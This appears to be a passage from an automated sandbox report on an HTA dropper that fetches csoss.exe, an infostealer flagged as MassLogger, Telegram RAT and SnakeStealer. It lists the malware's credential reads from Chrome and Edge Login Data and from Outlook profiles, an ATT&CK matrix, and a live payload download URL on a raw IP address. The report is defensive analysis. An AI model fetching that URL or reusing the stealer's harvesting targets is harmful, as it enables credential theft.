Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D34E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_00D34E87

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D41E06 GetUserNameW,

6_2_00D41E06

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D33F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

6_2_00D33F3A

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D049A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00D049A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MSIL Logger

Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegSvcs.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: csoss.exe PID: 6740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5484, type: MEMORYSTR

Yara detected MassLogger RAT

Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegSvcs.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: csoss.exe PID: 6740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5484, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegSvcs.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: csoss.exe PID: 6740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5484, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: csoss.exe	Binary or memory string: WIN_81
Source: csoss.exe	Binary or memory string: WIN_XP
Source: csoss.exe	Binary or memory string: WIN_XPe
Source: csoss.exe	Binary or memory string: WIN_VISTA
Source: csoss.exe	Binary or memory string: WIN_7
Source: csoss.exe	Binary or memory string: WIN_8
Source: csoss[1].exe.3.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegSvcs.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2509390080.0000000002646000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: csoss.exe PID: 6740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5484, type: MEMORYSTR

Remote Access Functionality

Yara detected MSIL Logger

Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegSvcs.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: csoss.exe PID: 6740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5484, type: MEMORYSTR

Yara detected MassLogger RAT

Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegSvcs.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: csoss.exe PID: 6740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5484, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.csoss.exe.eb0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegSvcs.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: csoss.exe PID: 6740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5484, type: MEMORYSTR

Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D76283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		6_2_00D76283
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D76747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		6_2_00D76747

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	12 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	121 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	2 Valid Accounts	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	11 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	128 System Information Discovery	Distributed Component Object Model	121 Input Capture	23 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	1 Masquerading	LSA Secrets	331 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Valid Accounts	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
needagoodplanforsuccesstogetbackbest.hta	41%	Virustotal		Browse
needagoodplanforsuccesstogetbackbest.hta	28%	ReversingLabs	Script-WScript.Trojan.Asthma

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\csoss.exe	100%	Avira	TR/AD.SnakeStealer.ergur
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\csoss[1].exe	100%	Avira	TR/AD.SnakeStealer.ergur
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\csoss[1].exe	83%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Roaming\csoss.exe	83%	ReversingLabs	Win32.Trojan.AutoitInject

Source	Detection	Scanner	Label
http://23.95.235.28/120/csoss.ex	0%	Avira URL Cloud	safe
http://23.95.235.28/120/csoss.exeSs	0%	Avira URL Cloud	safe
http://23.95.235.28/120/csoss.exe	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.48.1	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false		high
http://23.95.235.28/120/csoss.exe	true	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1402259894.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	false		high
